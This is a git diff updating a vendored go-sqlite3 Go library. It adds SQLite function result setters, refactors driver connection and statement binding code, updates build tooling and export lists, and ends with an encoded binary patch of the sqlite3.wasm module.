https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultInt64(value int64) { + c.call(c.api.resultInteger, + uint64(c.handle), uint64(value)) +} + +// ResultFloat sets the result of the function to a float64. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultFloat(value float64) { + c.call(c.api.resultFloat, + uint64(c.handle), math.Float64bits(value)) +} + +// ResultText sets the result of the function to a string. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultText(value string) { + ptr := c.newString(value) + c.call(c.api.resultText, + uint64(c.handle), uint64(ptr), uint64(len(value)), + uint64(c.api.destructor), _UTF8) +} + +// ResultBlob sets the result of the function to a []byte. +// Returning a nil slice is the same as calling [Context.ResultNull]. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultBlob(value []byte) { + ptr := c.newBytes(value) + c.call(c.api.resultBlob, + uint64(c.handle), uint64(ptr), uint64(len(value)), + uint64(c.api.destructor)) +} + +// BindZeroBlob sets the result of the function to a zero-filled, length n BLOB. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultZeroBlob(n int64) { + c.call(c.api.resultZeroBlob, + uint64(c.handle), uint64(n)) +} + +// ResultNull sets the result of the function to NULL. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultNull() { + c.call(c.api.resultNull, + uint64(c.handle)) +} + +// ResultTime sets the result of the function to a [time.Time]. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultTime(value time.Time, format TimeFormat) { + if format == TimeFormatDefault { + c.resultRFC3339Nano(value) + return + } + switch v := format.Encode(value).(type) { + case string: + c.ResultText(v) + case int64: + c.ResultInt64(v) + case float64: + c.ResultFloat(v) + default: + panic(util.AssertErr()) + } +} + +func (c Context) resultRFC3339Nano(value time.Time) { + const maxlen = uint64(len(time.RFC3339Nano)) + + ptr := c.new(maxlen) + buf := util.View(c.mod, ptr, maxlen) + buf = value.AppendFormat(buf[:0], time.RFC3339Nano) + + c.call(c.api.resultText, + uint64(c.handle), uint64(ptr), uint64(len(buf)), + uint64(c.api.destructor), _UTF8) +} + +// ResultError sets the result of the function an error. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultError(err error) { + if errors.Is(err, NOMEM) { + c.call(c.api.resultErrorMem, uint64(c.handle)) + return + } + + if errors.Is(err, TOOBIG) { + c.call(c.api.resultErrorBig, uint64(c.handle)) + return + } + + str := err.Error() + ptr := c.newString(str) + c.call(c.api.resultError, + uint64(c.handle), uint64(ptr), uint64(len(str))) + c.free(ptr) + + var code uint64 + var ecode ErrorCode + var xcode xErrorCode + switch { + case errors.As(err, &xcode): + code = uint64(xcode) + case errors.As(err, &ecode): + code = uint64(ecode) + } + if code != 0 { + c.call(c.api.resultErrorCode, + uint64(c.handle), code) + } +} diff --git a/vendor/github.com/ncruces/go-sqlite3/driver/driver.go b/vendor/github.com/ncruces/go-sqlite3/driver/driver.go index 1675dd2af3..4dc8182e05 100644 --- a/vendor/github.com/ncruces/go-sqlite3/driver/driver.go +++ b/vendor/github.com/ncruces/go-sqlite3/driver/driver.go @@ -52,6 +52,11 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { if err != nil { return nil, err } + defer func() { + if err != nil { + c.Close() + } + }() var pragmas bool c.txBegin = "BEGIN" @@ -65,7 +70,6 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { case "deferred", "immediate", "exclusive": c.txBegin = "BEGIN " + s default: - c.Close() return nil, fmt.Errorf("sqlite3: invalid _txlock: %s", s) } @@ -73,9 +77,8 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { } } if !pragmas { - err := c.Conn.Exec(`PRAGMA busy_timeout=60000`) + err = c.Conn.Exec(`PRAGMA busy_timeout=60000`) if err != nil { - c.Close() return nil, err } c.reusable = true @@ -86,7 +89,6 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { PRAGMA_query_only; `) if err != nil { - c.Close() return nil, err } if s.Step() { @@ -95,7 +97,6 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { } err = s.Close() if err != nil { - c.Close() return nil, err } } @@ -255,9 +256,7 @@ func (s *stmt) Query(args []driver.Value) (driver.Rows, error) { } func (s *stmt) ExecContext(ctx context.Context, args []driver.NamedValue) (driver.Result, error) { - // Use QueryContext to setup bindings. - // No need to close rows: that simply resets the statement, exec does the same. - _, err := s.QueryContext(ctx, args) + err := s.setupBindings(ctx, args) if err != nil { return nil, err } @@ -271,11 +270,20 @@ func (s *stmt) ExecContext(ctx context.Context, args []driver.NamedValue) (drive } func (s *stmt) QueryContext(ctx context.Context, args []driver.NamedValue) (driver.Rows, error) { - err := s.Stmt.ClearBindings() + err := s.setupBindings(ctx, args) if err != nil { return nil, err } + return &rows{ctx, s.Stmt, s.Conn}, nil +} + +func (s *stmt) setupBindings(ctx context.Context, args []driver.NamedValue) error { + err := s.Stmt.ClearBindings() + if err != nil { + return err + } + var ids [3]int for _, arg := range args { ids := ids[:0] @@ -314,11 +322,10 @@ func (s *stmt) QueryContext(ctx context.Context, args []driver.NamedValue) (driv } } if err != nil { - return nil, err + return err } } - - return &rows{ctx, s.Stmt, s.Conn}, nil + return nil } func (s *stmt) CheckNamedValue(arg *driver.NamedValue) error { diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/README.md b/vendor/github.com/ncruces/go-sqlite3/embed/README.md index 06c488696b..a40f65e88e 100644 --- a/vendor/github.com/ncruces/go-sqlite3/embed/README.md +++ b/vendor/github.com/ncruces/go-sqlite3/embed/README.md @@ -9,6 +9,7 @@ The following optional features are compiled in: - [JSON](https://www.sqlite.org/json1.html) - [R*Tree](https://www.sqlite.org/rtree.html) - [GeoPoly](https://www.sqlite.org/geopoly.html) +- [soundex](https://www.sqlite.org/lang_corefunc.html#soundex) - [base64](https://github.com/sqlite/sqlite/blob/master/ext/misc/base64.c) - [decimal](https://github.com/sqlite/sqlite/blob/master/ext/misc/decimal.c) - [regexp](https://github.com/sqlite/sqlite/blob/master/ext/misc/regexp.c) diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/build.sh b/vendor/github.com/ncruces/go-sqlite3/embed/build.sh index 105c216bf5..a80a94a962 100644 --- a/vendor/github.com/ncruces/go-sqlite3/embed/build.sh +++ b/vendor/github.com/ncruces/go-sqlite3/embed/build.sh @@ -4,7 +4,7 @@ set -euo pipefail cd -P -- "$(dirname -- "$0")" ROOT=../ -BINARYEN="$ROOT/tools/binaryen-version_113/bin" +BINARYEN="$ROOT/tools/binaryen-version_114/bin" WASI_SDK="$ROOT/tools/wasi-sdk-20.0/bin" "$WASI_SDK/clang" --target=wasm32-wasi -flto -g0 -O2 \ diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt b/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt index 2a07fc0c14..94bfa66c19 100644 --- a/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt +++ b/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt @@ -33,10 +33,10 @@ sqlite3_column_blob sqlite3_column_bytes sqlite3_blob_open sqlite3_blob_close +sqlite3_blob_reopen sqlite3_blob_bytes sqlite3_blob_read sqlite3_blob_write -sqlite3_blob_reopen sqlite3_backup_init sqlite3_backup_step sqlite3_backup_finish @@ -46,4 +46,29 @@ sqlite3_uri_parameter sqlite3_uri_key sqlite3_changes64 sqlite3_last_insert_rowid -sqlite3_get_autocommit \ No newline at end of file +sqlite3_get_autocommit +sqlite3_anycollseq_init +sqlite3_create_collation_go +sqlite3_create_function_go +sqlite3_create_aggregate_function_go +sqlite3_create_window_function_go +sqlite3_aggregate_context +sqlite3_user_data +sqlite3_set_auxdata_go +sqlite3_get_auxdata +sqlite3_value_type +sqlite3_value_int64 +sqlite3_value_double +sqlite3_value_text +sqlite3_value_blob +sqlite3_value_bytes +sqlite3_result_null +sqlite3_result_int64 +sqlite3_result_double +sqlite3_result_text64 +sqlite3_result_blob64 +sqlite3_result_zeroblob64 +sqlite3_result_error +sqlite3_result_error_code +sqlite3_result_error_nomem +sqlite3_result_error_toobig \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm b/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm index 6a7c852d4953f86fb2c0af7247afb1556fd2b667..020d130a933186c276713930d401b6caf86dddfd 100644 GIT binary patch delta 317836 zcmd442Vhji_6NLY?)Kfl1`}j}^lpq7!B;JvoWan46zoK=QgGs#ItP1*tz?FH1m-` zb?rGYt#7}yyz0+%?}bN82$pe5oC=Qc4)bEZ@T7Tc zHk+{6Eag)wR48Ag1pcdOFOgvLq8R^awL}?>NOL+gr&H53r{=cWN!T@u*G6S+npg8t zMd8(~RsgZb0@rqr(=O1i(a>6g5{wSkG44ukkLI@7>_t+IudFXtPqf=Blie8>dY_TY4Xl!+~q^d?yXG)2x zR;LXEQvbzhjv@}>v{@S&EuHP@4r7M1GTmuxaW` zxa2C4xXBjZuTS@`{nP4ne7f^9-3IjLN$=Y4dCO*-Tsbtpw6KhkyN1RmRI-e9`oc98 zU37gZ%`(m!6E5qU)-SEUWt{P{yL528vsk!T(M-puyZ3t9GL;IH_D>ts-}0@sc!9bv z_D}0)nc$4eU;J#Z0Z(^Nvt&98RPWlefBm|audPwAgCNt6{a@^zW|`=Wj1K)9(7nIv z3F=R};YA3(k=JhMi?qIdd-b(UzMLiKwN2zKvonR-J5JX*9Yor&RrMK{o~ zf3IFocYV$>%~`s@>zC5{_G0|u+vzvFRGkBtKbvNm;YBUTW!mny!xRRiVWu7Q2%K)<5|W9cPW}DGls>Nc*?TihL2Sr*4iS| zAA+godEpJUdv@-TW_cs8`01`apAAp`B6)RKe7vwMF)}^zCEjvI5TPpd9DwOtDr*hr zD$C^K!%&q zji>c;=ZN^kMwShEEkE;o=bq1{^#i$l1Uoz>+*bhx9&Z9 zUe`9;x7fGYUm7V!iSzUgeM=YUB3+`(G(;P!jn^h<6SYa&6m6;|wME)bv{YNBt2u z{+s=G`ycje_CM{{?HP{O977yK9m5>M9U~kg9itqh9b+709pfD19TOaxj){&*4#P3o zF~w1Ss^b>vxOJMNZiPyftJG|8N9~4pR!prLnC_V2nCY11_|EaW<4?zRM~3r+NCy<>x8h;yiO zm~*&ug!6UhWyc}=Vf$zHWA+pFllD{gT>BaOQTyli;3Usv&lJy8kMvCU%<#XqKH-o^Af-j4H*2;GhJ9`+pfob;UXyzUw08SNS48S5G68Sk0k$@EP0Omoi&x@Wp) zxwG8!-3#4|+)Lfd-7DOy+^gMN-JiH$cW!guHed!&1`dyIRW`?@yXJ;9yno`}22?hjlaxYoNC zgML1AZFFsNZFOyT?QrdM1(&;4y54pD;QYz?v-20{Dp!VUh-ce%^mTsS$$71Xo#x%mF~I`{02oG z7*6P;S^O$g&7U5C@hk3*v3T^w`&n#bKMPHZ=fxH@J<@mCeUhj^?eW`y4x?@9Bo9#GClfu!3#F^pFzE?ERx8B)2Vyezm5%d7(T;JsbW)iuAe>q} z9JdDqI@TmmY90gR<`|U|5(7~cnBJ;eEV{K%j8%Z1{SGueImhUdP`zkMz@i6R#Mt~I z*$zTB<|o|RDhv&^hM9n^etUYr;kUMlvHQvIXc=So`0c)w04DS981gzieyiWo&2R4$ zu(JRcyda)HOyQ0`b*i5pae{p?q3x6gW1_4f~cV;OMsb4F*Ajk`Ih9qu3@{l8h`Y5 za%pDR?a4npe&fg$k#NTyjC)P@rR%eDT$Ke2XFOt-)xDET@$5|J@!d!SSvf|@@{ixp zH$va6s&87jZRXkRi*-$eflX{}z?tZhl6rm{q%HW!)(upt5XhK~%xdcj z<;0d8qkDz2Wq7~=!8m6r3E`~pZiykr!5bB}|4rwt;m%E{*te{SILJq!wSU0QuQ1(8 zZUInIrK3?TSKJ=9)aq^(!Zl-*~Wcv*IRw zwTyvy@LPGt@YS-)<-;_vqGp_NzVbY#gRxa2bnsS{AuMidRBaeE5#_frE%7{tWM_l` zEg=E~d=q~l7E=}69iyQuCYN%NV%MS(>QoS!Iu%5dIu%LhgJ^tRwSKs-Db*UV^zT&d zHNTn+jVFV__(MumC=@A5rs{*e;cgIPWOVg<<_u~1N!y~x#}b~QGu8We)C@Twz%U=t;jpM6Mqv?xArGRFUHe8XmNz=w@>F3k+1+SVCpJGeAFXq9Y!(m{ zE9&$~F|i3;Du&aTWBUh$B727^;eqDnb$J|0C8mzbKmD@%N zs%O|5HpE}OVJ)h^s&B&@0`bXtcbvoDk#}xK(S41Zxajs(lkTZ3a9Q7~I4;J%dw1bs zR-1`ds%F&akWAH$_8sEeRD+20Q&kPPuBw3zeKlryMO2Be+6)Nh{59|h(UoHHq+pJk zjX9YR-^D+5W0vn09qsjeARBKho`^S6eHsjJ$73sEB@g489Q4QmP zXDg}J;~H>#(6`ZD@Kr-WbPrUYP!`<_Uo~Urv+dASLfQjpq*vPaRJV~?M<5uw@w%g( z5+s&+W+6uBtDX$e79OY{g1nEfkumkTmjR{N^8x&=_k30S?fiUS|1PNCwhDmNr|x6W zxXlkcga7$<8Q(wOm+msUbgh8DW4o5d-$h+(;_uj;?hHPHzcTnzk$Ygt*5c1pO`}}K zOuYCYVGu-+8Zgu zE2#HZD4k1Gosr=>c>iqZ{l2L8UsDJM-Y*QjUlH|wd(`{0!&Bo_`*^Q4Ejj`X2-UEE z#O>-u2BkLz6LOE#i&Z^FoFZy(+&i)j{>~VgRSZbsaeMvoK)@ACy6+z2-ce=nvg@dO zVgMUcT&$^$fv(zsa=OV?QF&%2;tcNF{zm}N=gHMP25C6~C zF(8!Mt8RI?ITIRs;_GDe8XJFiXRtlBhpx$;#PWhEQXgyZZLGzTEcER#`|yt?zv#xw z?jQ>A4+T1L0f6bl3}e^W#DhvgW_;}R0l zPCaFeiofZo-`dS|4fP|Tt}9+e^LREL zJM={naRg>EB!uQUN<=~Q`}DZl)X|6?UxGRrspG2z_kLC@Th-jvrPwYWvZ5ns@CA8pwa)_ z)UeOOp8`(!Q}fH4OuyMK%U6Bt0-JtziXs?a*95->WMU1X+~VtG(;*FNH^O}~ss8OB zX^zMD_v3ko!UMW)1Sgbw?62{ppw3<&h2LVKQ5R~^ZyHx8lxllZ0yjrkJFo9UzcTwC z_xF82V6@FlqbbJf%-WP`oXf0NeC=^t(;%iX=zBTAYlX+>n`+dU*yOfhKf=`a>GArk zk8H3oed)elxE%Nd9+eX}%fCf*!-|_tXOv42um3j6?sxin8H*++CGH&I&>5)3H<1{q zrd#fffjEEL*V#Bdv6jfqG-4;E@a5J?DJ63=UFmRS8(3K23wCK6_tEjL@1%+KLho$) z9Uk>w|1hqhMMFKS?jDFrp)X-cqr^He^yO_v1)69)W%xbUk41)Oj56wrp=4|{nl@CU zs}&htt*FtZhDVnY9-SZc)aW4iF~B<}H>PpM;K?C_d#WF>j*LZ%Si+ zT0Nx`UrJ0>mqAmX;-@21N7V;1pqn9G>WesNnf1dWedEYe_yxiz7Jb}wdw5z5DcjX+ zu4ljlhik$z&KsTwum1B{H4om%JS1zO-g?p1#Az-49RnIr4;>CQ6Qhg1&`>t$94JIT z;#t0q#;|GSX_B#cS`Eki$>0fJZ{y^&yHJumJ%J3P(ez`~*C;uoaxfy_EN{ZWi3mV8 z4Dt!Qi07`G!Y%;C^e{vn*o@^Z%RvqO5z7LW!H+^bXYO_}MpzcIYz$c2Ljpn%5B6&h zA_@T~lxtWxNM=eNp=abtUm%2`0-X^V9g^yyutG>qs;~mfNN&oLPu7PjUN8kJu|O3N zsCZVD`N3~_Q$wqUKC>F^ke)LuJrTwRBw8LS!jfMnjwL}0=eQyJ67gjtUVbL;_&Z@1kK?F6ZsD!c&#_%IGoGt!ylLMc|nIL#>}^eqA= zT0g5<4b7y#jMB&XCM`-q51(DJ(=NL*aS?g+Ky7g+VYKc+K#Kdyy)Hy6f7^&>PWgm< zjVKG3+wgcs3i)d9n9`t(r{~nA97E127i47pzmBK85!`yCA)_oG;M;RXBQ3~^h-HE= z$DWK^JV1i_5TBU)3NpmfPmA^!W|R1jvs(xvK`fHZFL}L(w?tlF zqDiC>Kuj3nk>}AsG{Gu%3=he2(;)?!8S*IBZ}S{;@XCT(Sn#I69ssKd2w0&zTO{JI zwMAkeMz?m;Ux6Tqme*gKdNWF1+wM*Z~Y) zeR{G3u}VZY_3P9}zcSLn>N8zm`TfbOFLqBxfDDfa#yV6@zg>AfEbT#%v$Wp2);}Eq zU2D3jbFwrJ+*vmMyi;`ps*5nHi-g==r$TmhiO5MPaLp~UAW3eVwYt*Ic)5_%n+? zhAG?EM>!q3BiWSa9B=kPOhG3(ae<2RVoI1?(N)YEz5>hj!GyzLNEOor24>MqTYP;@ z;)c=CjO`^3xcKd!6UL&2GlN4(=?L|O6}U;p@<~KA=yjv?xjkgq=yk&Syl#GdUM8PD zFY7Pkw=WAM71Za-tSJMtM*rb=YqIgt8%3kEyFE&~+n4~kj^?#{SR}!Fj%e19hyw4T z4`KJu9#->QSWwM#8H9wX=-Z%qR`Xowh4jKeq1+!>G$bNi^`x5(y=-{sN!$W36*6W1 z%b^1`NrU}m*`l+CEINjV?gjI#8!)~S>JT6QC&R|5lcLa#=3q?+ZGI0^nJrbsHT}in zdl*6k#d!1uKu;0Mh&C}zQ#PzL^3-mAtsAWe75JONYpmiC`Rtv-05s_Yy)z~)ZV=pR zPvDhFa0Q$9DqM?;uQ~IL&G(5tpn)^~?}l_wIK&cdEByCE!eERg)oH8o@sev1vi!fo z`+q>YA5tzH2a29Z{m+kVFoV$5Czrm;{^W_JWvRLG+tRzJg>mPy2dVR_$;$>i?~GWr zzC2nk9NG9_Y8dU-RG@c^0c*;&-frg*Z-!xj(-{5!!*MGnh5UbZZf)%Uub5;^`=B12|EeDZXtL4vgZlX^!S0EwwC97e z#U>MTCAXj>@PjzWMB~~AuOv0)bM~;StP6tB*RF zvk_-}^wIRY2C$5c5MVS<7HSHZ+>MzVTTwsb+{P!U|Ejw_?n?Iz;3icrLIiTO8C@vP zfURibhfSlzSi=ZzPNMgXC$_vz!By_99fioCRq5OAAzY30ZHcS)Y;P^-fRV84q&0(* zlZ+y}D;dc-U-N7C?sMWbGOq5vBcKqGDSXewH%I~rKx*cO2CSQ5)VsMc;zyW;Dw z+RPY}1qLZ~L$K&WW96Qb#SV^8#?TVoFwoeKnx#?;1WbO1RG z#*+uiQCnm1fePi?`5l$DT&&#dU#nQXuT63a+d}(9x4wNq1CQ#mA z{%NS7MF(v9kZFeXU?pm8R6AG=e;++q8-K?fY>dCV)L+k`UI}ge<@|nzzd{58fVob! z5J>j5HYOjsqe)w+TX+xlaIGv6D2rO=x_V%Nv-KVB~)wL6M5>VdgR4sJ5$EhaZoOezoYC*3s_MT2QE}lv< zOVC}&YY>+~%Jpx%*N zzT!B<9US^bE!{Vqc<5O5sxMX`=A~apRKTIHP;ZQ3xg8MJGo|fK8)0!#4DIGM&VD)? z_naAp#;2Tl0F8fhW&;+nmV7>oFv=EZnaH}Ft%UpWXB(7hiPm`WCqxvvSbWmW1t4EL z3Qo~MB_b8KuKdcjD)+FfbViC@}oGh)9R1Q9#> zyZbSZr@p%Yu`Qy+_CFJ@F+WrQ%sM|zqmf3=5A_kL)_&~D;!Qv%?wBDOKbwxN& zuVH2F#9?Lj>Z0%(@#<8*O(=M)g}pj1Ea=s78N$E$y*e%gm13ZI-jvmd|LyU%odeEL z7{z;2_d}V%g;L(iEZFc{DW;|)zjaY`^f_Hw75Jki(Lkg7H74+^YdvYOQS{Fppl0+Z z!h`>e4ic}wT>wtBF;nPXPw~(#)OpIC^mv5%5IFGM!eL^u%r}gtOM0=TkJ`$1F;oYap)nZAgYxYdsz~?AgE7bu zwdKm3jBq4WSz3!y13+wCluA+?`EXIX9y^FLvi+<#c`4E68!Mml(TEOkNsq&UZBg|;&QmBb#=^`7)QfYcvJ{n7jd4ejMHVXxcIZD18ON&h7+6qR^>sXYKNG=qm zv+$K!#i*RAh-|*javPqgpZuyArGsnb{l#gU4a8+lFbOfCiOVb7#DTI#%ieLcBH~tL zr^eGNqO9x_B?wkjmc+GX_Oqqvc0uFhoCNB|;5>h)U+>0H9E7c8JQJ5HA<6&*FE)0VNH^nUz2G0G>H{7Ny`FSK}{l0m!s(QJ|yKw z);HmAnGvxlq(xMQnduqI0|~1Pwc?m>sVtN*Vk!*3;EEgwR27*WQn@`jz>iHoBV}^3 zl1BZKsYdH8UU$Wac>NQpj(CJMim$WwaN;?mg=^%FbX>DoE!R9&i)f->QQZl6*tXxd z+tt)^tA;HSyJeFA#oMgdRbk#%!0nL`cn0*f@}vVX`0Akg3c;5xs%j~*+PpSgvD@X3 zG4-6^qgMkc7rPa=#o8k7ZtBP?u;871J3z_7Tz>P1+X7QAG=_i| zwjz{(w_CEs!!SZ{U_%DDDczmyLGN8Wz<>j6h&K728$ok{BG+R5G1tlvcbcDzUMnMb zTzv1lRz?emYcW=v-QncjR@ssH*J1b z_;D8Aiff5*T+NJT^HKBr)Z=9HQTU6h$4v7PfpPVC1)z|n0Z?*fd5V_=AC>aP%iId&EjBll7-B(U2or!$%0DYWjgFGFE7IL%qhEVG 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 